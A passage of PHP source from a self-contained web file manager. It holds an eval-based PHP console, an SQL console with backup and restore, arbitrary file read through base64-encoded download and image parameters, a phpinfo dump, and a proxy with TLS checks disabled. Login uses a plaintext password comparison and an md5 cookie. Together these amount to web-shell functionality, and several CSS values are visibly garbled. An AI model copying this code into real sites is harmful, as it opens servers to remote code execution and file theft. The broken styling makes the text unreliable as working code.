				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooV